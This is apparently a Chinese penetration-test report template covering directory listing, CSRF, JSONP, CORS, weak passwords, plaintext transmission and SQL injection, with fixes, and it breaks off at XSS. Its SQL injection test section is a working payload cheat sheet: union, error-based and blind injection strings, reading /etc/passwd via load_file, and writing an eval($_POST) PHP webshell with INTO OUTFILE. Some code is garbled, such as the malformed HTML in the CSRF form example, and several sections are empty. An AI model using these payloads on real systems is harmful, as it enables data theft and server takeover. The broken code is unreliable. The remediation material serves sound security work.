漏洞名称

目录索引漏洞

漏洞地址

漏洞等级

中危

漏洞描述

目录索引漏洞是指在 Web 服务器上，当访问某个目录（文件夹）而该目录下没有默认的文件（如 index.html 或 default.asp）时，Web 服务器会返回该目录下的所有文件列表。如果这个目录下存在敏感文件，攻击者就可以通过该漏洞获取敏感信息。

例如，假设 Web 服务器上有一个叫做 /secret/ 的目录，里面存放了一些敏感文件，但该目录没有默认的文件，如果攻击者输入 http://example.com/secret/ 就可以看到该目录下的所有文件。这样，攻击者就可以通过该漏洞获取敏感信息，并可能利用这些信息进行攻击。

为了避免目录索引漏洞，可以在 Web 服务器上为每个目录配置默认的文件，或者禁止 Web 服务器返回目录列表。这样，即使攻击者访问了敏感目录，也无法获取到敏感信息。

Web应用架构中的目录都采用常见的目录名，如图片目录images，javascript目录js，不同的目录潜在的危险是不同的。攻击者一般利用常见目录中可能包含的敏感文件获取敏感信息。自动目录索引是Web服务器的一个功能，如果请求目录中不存在常规文件（index.html，home.html，default.html），Web服务器会枚举该目录下所有的文件，攻击者可以通过返回的目录索引信息获得当前目录下的文件列表，从而根据文件中可能存在的漏洞攻击服务器。

漏洞成因

中间件配置错误导致攻击者可以通过返回的目录索引信息获得当前目录下的文件列表，从而根据文件中可能存在的漏洞攻击服务器。

漏洞危害

攻击者可以通过返回的目录索引信息获得当前目录下的文件列表，从而根据文件中可能存在的漏洞攻击服务器。

修复方案

Apache

修改站点目录对应的配置文件httpd.conf

  Options FollowSymLinks

  AllowOverride All

  Order allow,deny

  Allow from all

  Require all granted

大家都见过很多框架的每个目录都有一个index.html文件，这个文件的存在是非常有意义的，很多线上的Web服务器都没有合格配置列出目录索引，导致网站内部许多文件都能被攻击者查看，从而泄漏大量信息。

为了防止列出目录索引，我们可以在站点的每个文件夹中创建一个index.html，这个文件内容是什么都无所谓。当攻击者想通过列目录的手法访问你站点文件夹的时候，Web服务器将会判断当前目录下有没有DirectoryIndex默认首页，如果存在就显示DirectoryIndex对应的文件名的内容，这样攻击者就无法查看该目录下有什么文件。

Tomcat

修改conf/web.xml配置文件

  listings 

  false

Nginx

修改conf/nginx.conf配置文件

location / {

  index  index.html index.htm index.php l.php;

  autoindex off; 

}

IIS

设置“目录浏览”权限。

测试过程

复测过程

复测结果

未修复

漏洞名称

CSRF跨站请求伪造漏洞

漏洞地址

漏洞等级

中危

漏洞描述

跨站请求伪造(也称为CSRF)是一个Web安全漏洞，它允许攻击者诱导用户执行他们不打算执行的操作。它允许攻击者绕过部分同源策略，该策略旨在防止不同网站之间相互干扰。

CSRF 漏洞（Cross-Site Request Forgery）是指攻击者通过伪造请求，利用目标用户的权限在网站上执行非法操作。这种漏洞通常是通过在网站中嵌入恶意代码来实现的，当目标用户访问了恶意网站时，攻击者就可以通过该漏洞在目标用户的名义下进行攻击。

例如，假设目标用户登录了某个银行的网站，并且浏览器保存了登录凭证，此时攻击者可以在恶意网站中嵌入一段代码，当目标用户访问恶意网站时，该代码会自动向银行网站发送伪造的请求，从而在目标用户的名义下进行欺诈操作。

为了避免 CSRF 漏洞，需要在网站中加入防护措施，比如在请求中添加验证码或者令牌，以验证请求的发送方是否为合法用户。此外，用户也可以通过不在浏览器中保存登录凭证，或者使用浏览器插件来防止 CSRF 攻击。

漏洞成因

数据采用GET或POST请求，数据包中各参数均为用户可控参数，没有设置CSRF-Token，没有验证Referer字段，没有图形验证码和短信、邮件验证码，同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest，没有设置自定义的Http头部字段，所以综上判断存在网站存在CSRF漏洞。

漏洞危害

在成功的CSRF攻击中，攻击者会有意识地引导受害用户执行一个操作。例如，这可能是更改他们账户上的电子邮件地址，更改他们的密码或进行资金转账。根据动作的性质，攻击者可能能够获得对用户帐户的完全控制。如果被攻击的用户在应用程序中拥有特权角色，那么攻击者可能能够完全控制应用程序的所有数据和功能。

修复方案

1.使用CSRF-Token：业界一致的做法是使用一个CSRF-Token。

CSRF攻击之所以能够成功是因为攻击者可以伪造用户的请求，对此最好的防御手段就是让攻击者无法伪造这个请求。因此，我们可以在Http请求中（千万不要放在Cookie中）以参数的形式添加一个随机的CSRF-Token，并在服务端检查这个CSRF-Token是否正确，如不正确或不存在，则可以认为是不安全的请求，拒绝提供相关服务。

注意：

如果网站同时还存在XSS漏洞时，上述CSRF-Token的方法将可能失效，因为XSS可以模拟浏览器执行操作，攻击者通过XSS漏洞读取CSRF-Token值后，便可以构造出合法的用户请求了。所以在做好CSRF防护的同时，相应的安全防护也应做好。

2.验证Referer字段

在通常情况下，访问一个安全受限页面的请求来自于同一个网站，Http头部中的Referer字段记录了该Http请求的来源地址，如果Referer中的地址不是来源于本网站或不存在则可认为是不安全的请求，对于该请求应予以拒绝。这种方法简单易行，对于现有的系统只需在加上一个检查Referer值的过滤器，无需改变当前系统的任何已有代码和逻辑。

但是，这种方法存在一些问题需要考虑：首先，Referer的值是由浏览器提供的，虽然Http协议上有明确的要求，但是每个浏览器对于Referer的具体实现可能有差别，并且不能保证浏览器自身没有安全漏洞，将安全性交给第三方（即浏览器）保证，从理论上来讲是不可靠的；其次，用户可能会出于保护隐私等原因禁止浏览器提供Referer，这样的话正常的用户请求也可能因没有Referer信息被误判为不安全的请求，无法提供正常的使用。

注意：

如果网站同时还存在XSS漏洞时，上述方法将可能失效，因为XSS可以模拟浏览器执行操作，构造出合法的用户请求，这样Referer字段记录的依然是本网站的地址从而可以绕过Referer校验。所以在做好CSRF防护的同时，相应的安全防护也应做好。

3.添加验证码机制（图形验证码或者短信验证码、邮件验证码）

在用户提交数据之前，让用户输入验证码，或者用户在进行关键操作时，让用户重新输入密码进行验证。

4.校验非标准Http头部X-Requested-With

XMLHttpRequest，我们可以在服务端检查这个非标准Http头部X-Requested-With:XMLHttpRequest是否存在，如不存在，则可以认为是不安全的请求，拒绝提供相关服务。

注意：

如果网站同时还存在XSS漏洞或者开启CORS支持时，上述方法将可能失效，因为XSS可以模拟浏览器执行操作，构造出合法的AJAX用户请求，从而绕过非标准Http头部X-Requested-With:XMLHttpRequest校验，所以在做好CSRF防护的同时，相应的安全防护也应做好。

5.设置自定义的Http头部字段，比如CSRF:Token

我们可以在服务端检查这个自定义的Http头部字段是否存在，如不存在，则可以认为是不安全的请求，拒绝提供相关服务。

注意：

如果网站同时开启CORS支持时，上述方法将可能失效，因为攻击者可以模拟浏览器执行操作，构造出合法的AJAX用户请求，从而绕过自定义的Http头部字段校验，所以在做好CSRF防护的同时，相应的安全防护也应做好。

代码实现参考：

// 生成并存储CSRF-Token

String csrfToken = UUID.randomUUID().toString();

session.setAttribute("csrfToken", csrfToken);

// 在表单中添加CSRF-Token字段

String form = "

              "<input </inputtype='hidden' name='csrfToken' value='" + csrfToken + "'>" +

              "<input </inputtype='text' name='username'>" +

              "<input </inputtype='password' name='password'>" +

              "<input </inputtype='submit' value='Submit'>" +

              "";

// 在服务器端处理请求时，检查CSRF-Token和Referer字段

if (request.getMethod().equalsIgnoreCase("post")) {

    String csrfTokenReceived = request.getParameter("csrfToken");

    String csrfTokenExpected = (String) session.getAttribute("csrfToken");

    String referer = request.getHeader("Referer");

    // 检查CSRF-Token是否有效

    if (csrfTokenReceived == null || !csrfTokenReceived.equals(csrfTokenExpected)) {

        // CSRF-Token无效，不处理请求

        return;

    }

    // 检查Referer字段是否有效

    if (referer == null || !referer.startsWith(request.getScheme() + "://" + request.getServerName())) {

        // Referer字段无效，不处理请求

        return;

    }

    // CSRF-Token和Referer字段都有效，处理请求

    ...

}

在这段代码中，我们首先生成了一个CSRF-Token并将其存储到了会话中。然后在表单中添加了一个隐藏字段来保存这个CSRF-Token。

在服务器端处理请求时，我们首先检查请求是否为POST请求，然后检查请求中的CSRF-Token字段和Referer字段。如果CSRF-Token无效或Referer字段无效，那么就不处理请求。否则，就处理请求。

测试过程

数据采用GET或POST请求，数据包中各参数均为用户可控参数，没有设置CSRF-Token，没有验证Referer字段，没有图形验证码和短信、邮件验证码，同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest，没有设置自定义的Http头部字段，所以综上判断存在网站存在CSRF漏洞。

构造CSRF利用代码：

GET请求：

         history.pushState('', '', '/');

复测过程

复测结果

未修复

漏洞名称

JSONP跨站劫持漏洞

漏洞地址

漏洞等级

中危

漏洞描述

。

漏洞成因

。

漏洞危害

。

修复方案

1.严格定义HTTP响应中的Content-Type为json数据格式 Content-Type: application/json;charset=UTF-8。

2.建立callback函数白名单，如果传入的callback参数值不在白名单内，跳转到统一的异常界面阻止其继续输出。

3.对callback参数和json数据输出进行HTML实体编码来过滤掉“<”、“>”等字符。

测试过程

复测过程

复测结果

未修复

漏洞名称

CORS跨域资源读取漏洞

漏洞地址

漏洞等级

中危

漏洞描述

跨域资源共享(CORS)是一种放宽同源策略的机制，它允许浏览器向跨源服务器，发出 XMLHttpRequest 请求，从而克服了AJAX只能同源使用的限制，以使不同的网站可以跨域获取数据，跨域资源共享CORS漏洞主要是由于程序员配置不当，对于 Origin 源校验不严格，从而造成跨域问题，攻击者可以利用CORS错误配置漏洞，从恶意网站跨域读取受害网站的敏感信息。

CORS跨域资源读取漏洞是指由于浏览器同源策略的限制，攻击者可能会利用 CORS（Cross-Origin Resource Sharing）机制来绕过浏览器的安全限制，进而获取敏感信息。

CORS 是一项用于解决跨域资源共享的技术标准，它允许浏览器向跨源服务器发送请求，从而实现跨域数据交换。但是，如果服务器没有正确配置 CORS 策略，攻击者就可以利用 CORS跨域资源读取漏洞来获取敏感信息。

例如，假设攻击者经过特殊手段在目标用户的浏览器中植入了恶意代码，当目标用户访问某个网站时，恶意代码会向该网站发送一个 CORS 请求，从而获取网站上的敏感信息。

为了防止 CORS跨域资源读取漏洞，需要在服务器端正确配置 CORS 策略，以确保只有合法的请求才能够访问敏感信息。此外，用户也可以通过安装浏览器插件或使用特定的浏览器配置来防御 CORS跨域资源读取漏洞。

漏洞成因

程序员配置不当，对于Origin源校验不严格。

漏洞危害

攻击者可以利用CORS错误配置漏洞，从恶意网站跨域读取受害网站的敏感信息。

修复方案

通用修复方案：

1.禁止配置“Access-Control-Allow-Origin”为“*”和“null”；

2.严格校验“Origin”值，避免出现权限泄露；

3.避免使用“Access-Control-Allow-Credentials:true”；

4.减少“Access-Control-Allow-Methods”所允许的方法。

Nginx设置CORS实现跨域访问

默认情况下Ajax在请求跨域的时候会被阻止，如调用API/前端库字体等不方便，可通过如下设置来实现跨域访问。

Nginx配置

在nginx server段内添加如下代码，并重启Nginx即可：

location /{

    add_header 'Access-Control-Allow-Origin' ip地址;

    add_header 'Access-Control-Allow-Credentials' 'true';

    add_header 'Access-Control-Allow-Headers' 'Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Requested-With';

    add_header 'Access-Control-Allow-Methods' 'GET,POST';

}

注意：add_header 'Access-Control-Allow-Origin' ip地址 需要进行指定ip配置。

测试过程

数据采用GET或POST请求，数据包中各参数均为用户可控参数，没有设置CSRF-Token，没有验证Referer字段，没有图形验证码和短信、邮件验证码，同时也没有校验非标准Http头部X-Requested-With: XMLHttpRequest，没有设置自定义的Http头部字段，access-control-allow-credentials: true同时access-control-allow-origin的值随着Origin的值而变化，所以综上判断存在网站存在CORS跨域资源读取漏洞。

构造CORS跨域资源读取漏洞利用代码：

GET请求：

复测过程

复测结果

未修复

漏洞名称

弱口令漏洞

漏洞地址

漏洞等级

高危

漏洞描述

弱口令漏洞是指由于用户使用了较为简单或常用的密码，攻击者可以通过暴力破解或者字典攻击等方法轻松猜测出用户的密码，从而获取用户的账户权限。

弱口令是指用户使用的密码不够强壮，比如包含用户名、生日、电话号码等易被猜测的信息，或者使用了较为常见的单词作为密码。这样的密码很容易被攻击者破解，从而导致用户的账户被盗。

为了防止弱口令漏洞，用户应该避免使用简单或常用的密码，应该使用包含大小写字母、数字和特殊字符的复杂密码，并且不要使用与其他网站相同的密码。此外，网站应该提供密码强度检测功能，提醒用户不要使用弱口令。

常见弱口令包括：

1.连续或重复的数字，如123123、123456、987654、111111、222333等；

2.连续或重复的字母，如aaa、abc、abcdef、zyx等；

3.键盘上常见的连续按键，如：[email protected]、qwert、asdfghjkl;、！@#、147258369（数字键盘）等；

4.日期或年份，如800128（生日）、2012、19251120等；

5.与用户相关的名称信息，如newdoone（公司名称）、shaoyuanming（姓名全拼）、sym（姓名缩写）、oa（产品名称）、admin（用户名）、手机号等；

6.具有特殊含义的字符串，如520、1314、woaini；

7.其他常用的字符串：root、abc123！、administrator、test等。

以上元素被许多人用来构成好记的口令，而攻击者也会使用上述素材相互组合来生成弱口令字典。如newdoone123（公司名称+连续数字）、[email protected]#（连续字母+键盘按键）、asdf520（键盘按键+特殊含义字符）、shaoyuanming2012（用户名+年份）等，符合上述规律的都可以认为是弱口令。

漏洞成因

造成弱口令的主要原因是系统的运维人员、管理人员安全意识不足。

漏洞危害

攻击者利用该漏洞可以访问成功登录应用系统后台，导致敏感信息泄露，甚至可以获取管理员权限。

修复方案

使用相对安全的口令，防止口令被穷举或字典法猜出，还应加强口令安全。

主要措施如下：

（1）口令长度不小于8位，并应包含大写/小写字母，数字和特殊字符，并且不包含全部或部分的用户用户名名；

（2）避免使用英文单词、生日、姓名、电话号码或这些信息的简单组合作为口令；

（3）不要在不同的系统上使用相同的口令；

（4）定期或不定期地修改口令；

（5）使用口令设置工具生成健壮的口令；

（6）对用户设置的口令进行检测，及时发现弱口令；

（7）限制某些网络服务的登录次数，防止远程猜测、字典法、穷举法等攻击。另外还需加强员工安全意识培训，登录口令，如系统/管理后台等最好升级为双因子认证方式。

测试过程

复测过程

复测结果

未修复

漏洞名称

明文传输漏洞

漏洞地址

漏洞等级

中危

漏洞描述

明文传输漏洞是指在网络通信过程中，用户的敏感信息（如密码、账号等）没有经过加密就被明文传输，攻击者可以通过监听网络流量来获取这些信息。

明文传输漏洞通常出现在网站或应用程序中，由于开发人员没有对用户的敏感信息进行加密，导致攻击者可以轻松地通过监听网络流量来获取用户的敏感信息。

为了防止明文传输漏洞，网站和应用程序应该对用户的敏感信息进行加密，并且使用安全的加密算法和密钥。此外，用户也应该注意不要在不安全的网络中输入敏感信息，并且安装防火墙或使用 VPN 等工具来保护自己的网络安全。

应用系统采用http协议传输敏感数据，登录、注册等功能模块请求数据未采用强加密传输方式，用户名、口令或者其他敏感数据未经强加密即进行了数据传输。

http网站是明文传输，从浏览器到服务器之间的传输的信息是明文，非常容易被非法侦听、非法窃取和非法篡改！

https网站是加密传输，从浏览器到服务器之间的传输的信息是密文，防止非法侦听、非法窃取和非法篡改！

漏洞成因

应用系统采用http协议传输敏感数据，登录、注册等功能模块请求数据未采用强加密传输方式，用户名、口令或者其他敏感数据未经强加密即进行了数据传输。

http网站是明文传输，从浏览器到服务器之间的传输的信息是明文，非常容易被非法侦听、非法窃取和非法篡改！

https网站是加密传输，从浏览器到服务器之间的传输的信息是密文，防止非法侦听、非法窃取和非法篡改！

漏洞危害

攻击者可以窃听网络以劫获用户密码等敏感信息。

修复方案

1.应用系统采用https协议传输敏感数据。

2.敏感字段采用强加密传输，禁止采用简单MD5加密甚至base64编码或者相关算法变形处理方式，尽量使用国密算法或者支持国密算法的密码机。

测试过程

复测过程

复测结果

未修复

漏洞名称

未加密登录请求漏洞

漏洞地址

漏洞等级

中危

漏洞描述

未加密登录请求漏洞是指用户在登录网站或应用程序时，登录请求没有经过加密就被发送到服务器，攻击者可以通过监听网络流量来获取用户的登录信息。

未加密登录请求漏洞常见于网站和应用程序中，当用户在登录时，登录请求会以明文的形式发送到服务器，攻击者可以通过监听网络流量来获取用户的登录信息，从而登录用户的账户。

为了防止未加密登录请求漏洞，网站和应用程序应该对用户的登录请求进行加密，并且使用安全的加密算法和密钥。此外，用户也应该注意不要在不安全的网络中登录网站或应用程序，并且安装防火墙或使用 VPN 等工具来保护自己的网络安全。

登录、注册等功能模块请求数据未采用强加密传输方式，用户名、口令或者其他敏感数据未经强加密即进行了数据传输。

漏洞成因

登录、注册等功能模块请求数据未采用强加密传输方式，用户名、口令或者其他敏感数据未经强加密即进行了数据传输。

漏洞危害

攻击者可以窃听网络以劫获用户密码等敏感信息或者通过暴力猜解等手段登入应用系统后台。

修复方案

敏感字段采用强加密传输，禁止采用简单MD5加密甚至base64编码或者相关算法变形处理方式，尽量使用国密算法或者支持国密算法的密码机。

测试过程

复测过程

复测结果

未修复

漏洞名称

SQL注入漏洞

漏洞地址

漏洞等级

高危

漏洞描述

SQL 注入漏洞是指攻击者通过把恶意的 SQL 语句插入到网站的输入参数中，来绕过网站的安全措施，获取敏感信息或控制网站的行为。

SQL 注入漏洞常见于网站和应用程序中，当用户在网站的表单中输入信息时，攻击者可以通过在输入中插入恶意的 SQL 语句来控制网站的行为。例如，攻击者可以通过注入恶意的 SQL 语句来登录网站的后台管理系统，或者获取数据库中的敏感信息。

为了防止 SQL 注入漏洞，网站和应用程序应该使用参数化查询来防止恶意的 SQL 语句的注入。此外，网站应该对用户的输入进行过滤和验证，并且定期检查代码以确保安全性。

SQL注入是开发者对用户输入的参数过滤不严格，通过把SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令，导致用户输入的数据能够影响预设查询功能的一种技术。它是一种通过在用户可控参数中注入SQL语句，破坏原有的SQL结构，达到编写程序时意料之外结果的攻击行为。

按照构造和提交SQL语句的方式进行划分，SQL注入又分为GET型注入、POST型注入和Cookies型注入。

GET 型 SQL 注入提交数据的方式为 GET , 注入点的位置在 GET 参数部分，通常发生在网页的 URL。

POST 型 SQL 注入使用 POST 方式提交数据，注入点位置在 POST 数据部分，通常发生在表单输入框中。

Cookie 型 SQL 注入HTTP 请求时通常有客户端的 Cookie, 注入点存在 Cookie 的某个字段中。

漏洞成因

Web应用程序对用户输入的数据校验处理不严或者根本没有校验，使用字符串拼接的方式构造SQL语句，同时未对用户可控参数进行足够过滤，致使用户可以拼接执行SQL命令造成SQL注入漏洞。

漏洞危害

SQL 注入通常是通过构造恶意的 SQL 语句来实现的，因此具体的代码取决于攻击者的目标和所使用的技术。一般来说，SQL 注入攻击可能包括以下几种常见方法：

登录绕过：通过在用户名和密码中插入恶意代码，绕过登录验证。例如，如果登录表单中的 SQL 语句为 SELECT * FROM users WHERE username='$username' AND password='$password'，攻击者可以尝试输入 ' OR '1'='1 作为用户名，密码为空，以此绕过登录验证。

数据获取：通过构造恶意的 SQL 语句，从数据库中获取敏感信息。例如，攻击者可以尝试输入 ' UNION SELECT password FROM users WHERE username='admin 来获取数据库中管理员的密码。

数据操纵：通过插入恶意的 SQL 语句，在数据库中进行操作，从而造成损害。例如，攻击者可以尝试输入 '; UPDATE users SET password='$new_password' WHERE username='$username 来修改指定用户的密码。

其余危害：

1.在有写文件权限的情况下，直接用INTO OUTFILE或者DUMPFILE向Web目录写文件，或者写文件后结合文件包含漏洞达到代码执行的效果。

2.在有读文件权限的情况下，用load_file()函数读取网站源码和配置文件，获取敏感数据。

3.提升权限，获得更高的用户权限或者管理员权限，绕过登录，添加用户，调增用户权限等，从而拥有更多的网站功能。

4.通过注入控制数据库查询出来的数据，控制如模板、缓存等文件的内容来获取权限，或者删除、读取某些关键文件。

5.在可以执行多语句的情况下，控制整个数据库，包括控制任意数据、任意字段长度等。

6.在SQL Server这类数据库中可以直接执行系统命令。

7.数据库原有数据泄露、篡改甚至删除，甚至导致攻击者完全控制服务器。

修复方案

参考资料：

https://github.com/Tencent/secguide/blob/main/Java%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97.md

1.Web后台系统应默认使用预编译绑定变量的形式创建sql语句，保持查询语句和数据相分离。以从本质上避免SQL注入风险。

如使用Mybatis作为持久层框架，应通过#{}语法进行参数绑定，MyBatis 会创建 PreparedStatement 参数占位符，并通过占位符安全地设置参数。

示例：JDBC

String username = request.getParameter("username");

String password = request.getParameter("password");

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";

PreparedStatement statement = connection.prepareStatement(sql);

statement.setString(1, username);

statement.setString(2, password);

ResultSet results = statement.executeQuery();

示例：Mybatis

2.应避免外部输入未经过滤直接拼接到SQL语句中，或者通过Mybatis中的传入语句（即使使用，语句直接拼接外部输入也同样有风险。例如中部分参数通过{}传入SQL语句后实际执行时调用的是PreparedStatement.execute()，同样存在注入风险）。

3.对于表名、列名等无法进行预编译的场景，比如外部数据拼接到order by, group by语句中，需通过白名单的形式对数据进行校验，例如判断传入列名是否存在、升降序仅允许输入“ASC”和“DESC”、表名列名仅允许输入字符、数字、下划线等。

参考示例：

public String someMethod(boolean sortOrder){

 String SQLquery = "some SQL ...order by Salary " + (sortOrder ? "ASC" : "DESC");`

 ...

4.Web应用程序接入数据库服务器使用的用户禁用系统管理员，用户角色应遵循最小权限原则。

5.定期审计数据库执行日志，查看是否存在应用程序正常逻辑之外的SQL语句执行痕迹。

【特别注意】：

Order By 注入修复方案

开发者在编写系统框架时无法使用预编译的办法处理这类参数，只要对输入的值进行白名单比对，基本上就能防御这种注入。

1.通过正则表达式进行字符串过滤，只允许字段中出现字母、数字、下划线。

2.通过白名单思路，使用间接对象引用。前端传递引用数字或者字符串等，用于与后端做数组映射，这样可以隐藏数据库数据字典效果，避免直接引用带来的危害。

编程代码参考：

设置一个枚举或者MAP变量，然后拿用户输入passwd进行比对返回序号，然后拿序号预编译。

int index = map.get("password");

String sql = "SELECT * FROM users WHERE password = ? ORDER BY ?";

PreparedStatement stmt = conn.prepareStatement(sql);

stmt.setString(1, password);

stmt.setInt(2, index);

ResultSet rs = stmt.executeQuery();

代码实现参考：

import java.sql.Connection;

import java.sql.PreparedStatement;

import java.util.regex.Pattern;

public class SqlInjectionFixer {

  // 定义一个正则表达式，用于过滤特殊字符

  private static final Pattern specialCharPattern = Pattern.compile("[^a-zA-Z0-9]");

  // 使用预编译的 PreparedStatement 执行 SQL 查询

  public void query(Connection connection, String userInput) throws Exception {

    // 对用户输入的字符串进行过滤，去除特殊字符

    String filteredInput = specialCharPattern.matcher(userInput).replaceAll("");

    // 使用预编译的 PreparedStatement 执行查询，并将用户输入的字符串作为参数

    PreparedStatement statement = connection.prepareStatement("SELECT * FROM table WHERE column = ?");

    statement.setString(1, filteredInput);

    statement.executeQuery();

  }

}

这段代码使用了正则表达式来过滤用户输入的字符串中的特殊字符。然后使用预编译的 PreparedStatement 执行 SQL 查询，并将用户输入的字符串作为参数。这样，即使用户输入的字符串中包含特殊字符，也不会导致 SQL 注入漏洞的产生。

测试过程

01 联合查询

0001 利用前提

        页面上有显示位

0002 优点

        方便 快捷 易于利用

0003 缺点

        需要显示位

0x001 判断是否存在SQL注入,同时判断注入类型 整型注入还是字符串型注入

判断注入

        and 1=1 / and 1=2  回显页面不同(整型判断)

        单引号'判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)

        转义符\

        -1 / +1  回显下一个或者上一个页面(整型判断)

        and sleep(5)  判断页面返回时间

0x002 判断显示位长度,判断列数(二分法)

        order by 10

        order by 20

        order by 15

        ...

0x003 判断显示位,UNION联合查询

        union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

0x004 查询获取当前所用的数据库用户名 数据库名 数据库路径 操作系统版本 MySQL数据库版本

        user()---数据库用户名

        database()---数据库名

        @@basedir---数据库路径

        @@datadir---数据库里面data路径

        @@version_compile_os---操作系统版本

        version()---MySQL数据库版本

        @@version---MySQL数据库版本

0x005 查找列出所有的数据库名称

        limit一个一个打印出来数据库名字

        select concat(schema_name) from information_schema.schemata limit 0,1

        group_concat一次性全部显示数据库名字

        select group_concat(schema_name) from information_schema.schemata

0x006 查找列出所有的表名

        limit一个一个打印出来表名

        select concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制) limit 0,1

        group_concat一次性全部显示表名

        select group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转换十六进制)

0x007 查找列出所有的字段名称

        limit一个一个打印出来字段名称

        select concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制) limit 0,1

        group_concat一次性显示全部字段名称

        select group_concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转换十六进制) and table_name=0x(表名转换十六进制)

0x008 查找列出所有需要的字段数据

        limit一个一个打印出来字段数据

        select concat(0x7e,username,0x7e,password) from 数据库名字.表名 limit 0,1

        group_concat一次性全部显示字段数据

        select group_concat(0x7e,username,0x7e,password) from 数据库名字.表名

0x009 load_file()读取文件操作

0001 前提

        知道文件的绝对路径

0002 能够使用union查询

        对web目录有写的权限

        union select 1,load_file('/etc/passwd'),3,4,5#

        0x2f6574632f706173737764

        union select 1,load_file(0x2f6574632f706173737764),3,4,5#

        路径没有加单引号的话必须转换十六进制

        要是想省略单引号的话必须转换十六进制

0x010 into outfile写入文件操作

0001 前提

        文件名必须是全路径(绝对路径)

002 用户必须有写文件的权限

        没有对单引号'过滤

        select '' into outfile 'C:\\Windows\\tmp\\8.php'

        select '' into outfile 'C:\\Windows\\tmp\\8.php'

        路径里面两个反斜杠\\可以换成一个正斜杠/

        PHP语句没有单引号的话,必须转换成十六进制

        要是想省略单引号'的话,必须转换成十六进制

         eval($_POST["admin"]); ?>  或者 

         @eval($_POST["admin"]); ?>

         phpinfo(); ?>

         eval($_POST["admin"]); ?>

        建议一句话PHP语句转换成十六进制

0x011 一句话木马

         eval($_POST["admin"]); ?>  或者 

         @eval($_POST["admin"]); ?>

         phpinfo(); ?>

         eval($_POST["admin"]); ?>

        建议一句话PHP语句转换成十六进制

02 Error-based SQL injection

0001 利用前提

        页面上没有显示位,但是需要输出SQL语句执行错误信息.比如mysql_error()

0002 优点

        不需要显示位

0003 缺点

        需要输出mysql_error的报错信息

001 通过floor报错[没有任何字符长度限制]

0001 固定句式

        and (select 1 from (select count(*),concat((select (select (payload)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

0002 查询数据库的个数

        select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata

0003 payload组合语句

        and (select 1 from (select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

0004 获取数据库名字

        select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1

0005 payload组合语句

        and (select 1 from (select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

002 通过ExtractValue报错[最多32字符]

0001 固定句式

        and extractvalue(1,(payload))

        或者记忆成 

        and extractvalue(1,(concat(0x7e,(payload),0x7e)))

0002 查询数据库版本号

        and extractvalue(1,(concat(0x7e,(select @@version),0x7e)))

        或者写成 

        and extractvalue(1,(concat(0x7e,(select version()),0x7e)))

003 通过UpdateXML报错[最多32字符]

0001 固定句式

        +and updatexml(1,(payload),1)

        或者记忆成 

        +and updatexml(1,(concat(0x7e,(payload),0x7e)),1)

0002 查询数据库版本号

        +and updatexml(1,(concat(0x7e,(select @@version),0x7e)),1)

        或者写成 

        +and updatexml(1,(concat(0x7e,(select version()),0x7e)),1)

        +加号可以换成空格

03 Boolean-based blind SQL injection

0001 利用前提

        页面上没有显示位,也没有输出SQL语句执行报错信息

        只能通过页面返回正常不正常

0002 优点

        不需要显示位,不需要报错信息

0003 缺点

        速度慢,耗费大量时间

001 exists() 用于检查子查询是否只要返回一行数据,返回True或者False

        and exists(select user())

        ?id=1' and exists(select * from information_schema.tables) --+

002 ascii() 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL,返回NULL.

        and ascii('r')=114

        and ascii(substr((select user()),1,1))=114

003 substr() substr(string,num start,num length) string 字符串 start       起始位置 length 长度

        and substr((select user()),1,1)='r'

        and substr((select user()),2,1)='o'

        ?id=1' and exists(select * from information_schema.tables) --+

        ?id=1' and (select length(version()))=6 --+ //判断version()返回字符串的长度

        ?id=1' and (select count(distinct table_schema) from information_schema.tables)=11 --+

        //判断有多少数据库,自动去除空数据库

        ?id=1' and (select count(distinct table_schema) from information_schema.columns)=11 --+ //判断有多少数据库,自动去除空数据库

        select count(schema_name) from information_schema.schemata

        ?id=1' and (select count(schema_name) from information_schema.schemata)=12 --+ //判断有多少数据库,自动去除空数据库

        and ascii(substr((select concat(schema_name) from information_schema.schemata limit 0,1),1,1))=105 //判断第一个库的第一个字符

04 Time-based blind SQL injection

0001 利用前提

        页面没有显示位,也没有输出SQL语句执行错误信息

        正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒

0002 优点

        不需要显示位,不需要出错信息

0003 缺点

速度慢,耗费大量时间

001 IF(Condition,A,B)函数

        当Contion为TRUE时候,返回A;当Contion为FALSE时候,返回B.

        eg:if(ascii(substr('hello',1,1))=104,sleep(5),1)

        可以换成双引号 if(ascii(substr("hello",1,1))=104,sleep(5),1)

        and if(ascii((select @@version,1,1))=53,sleep(5),1)

        if(ascii(substr((payload),1,1))=114,sleep(5),1)

        if((select count(distinct table_schema) from information_schema.tables)=17,sleep(5),1)

        //获取当前数据库个数

        if(ascii(substr((select user(),1,1))=114,sleep(5),1) //获取当前连接数据库用户第一个字母

        if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),1,1))=105,sleep(5),1) //判断第一个数据库第一个字符

        if(ascii(substr((select distinct table_schema from information_schema.tables limit 0,1),2,1))=110,sleep(5),1) //判断第一个数据库第一个字符

复测过程

复测结果

未修复

漏洞名称

存储（反射/DOM）XSS漏洞

漏洞地址

漏洞等级

高危（中危）

漏洞描述

XSS 漏洞（Cross-Site Scripting）是指攻击者通过在网站的表单中注入恶意的脚本，来绕过网站的安全措施，获取用户的敏感信息或控制用户的行为。

